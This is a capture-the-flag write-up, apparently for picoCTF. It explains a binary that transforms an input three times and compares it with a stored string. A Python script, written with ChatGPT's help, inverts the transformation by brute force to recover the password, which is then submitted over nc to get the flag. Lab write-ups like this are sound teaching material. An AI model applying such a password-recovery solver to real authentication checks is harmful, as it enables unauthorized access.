I find that some variables and arrays are defined. It begins by copying a fixed 51-character string into a buffer called output, which represents the correct "transformed" version of the secret password. Then, it prompts the user to input a password, which is read into the input buffer. The core of the code lies in a nested loop that runs three times: for each character in the input, it performs a complex transformation based on the character's index using bitwise operations and modular arithmetic to shift the character within the lowercase alphabet ('a' to 'z'). After applying this transformation three times, the code compares the resulting input with the predefined output string using memcmp. If the transformed input matches output, it prints a success message and a placeholder flag; otherwise, it prints "FAILED!".

I used wget to download the file on pico webshell and give it executable permissions via the chmod command.

I wrote a python script with the help of ChatGPT:

output = "mpknnphjngbhgzydttvkahppevhkmpwgdzxsykkokriepfnrdm"

def transform_char(c, i_1):
    uVar1 = ((i_1 % 0xff) >> 1 & 0x55) + ((i_1 % 0xff) & 0x55)
    uVar1 = ((uVar1 >> 2) & 0x33) + (uVar1 & 0x33)
    iVar2 = (uVar1 >> 4) + ord(c) - 0x61 + (uVar1 & 0xf)
    result = iVar2 % 26 + ord('a')
    return chr(result)

def transform(s):
    return ''.join(transform_char(c, i) for i, c in enumerate(s))

# Reverse the transformation by brute-force
def reverse_transform(target):
    original = ['?'] * len(target)
    for i, target_c in enumerate(target):
        for c in range(ord('a'), ord('z') + 1):
            trial = chr(c)
            if transform_char(trial, i) == target_c:
                original[i] = trial
                break
    return ''.join(original)

# Apply reverse transformation 3 times
current = output
for _ in range(3):
    current = reverse_transform(current)

print("Recovered password:", current)

And I got the original string. I tried it as an input for the file on the webshell and it succeeded. Now that I was sure of the original string, I used the nc command provided in the challenge to connect to the machine and gave it the string.

This is how I received the flag!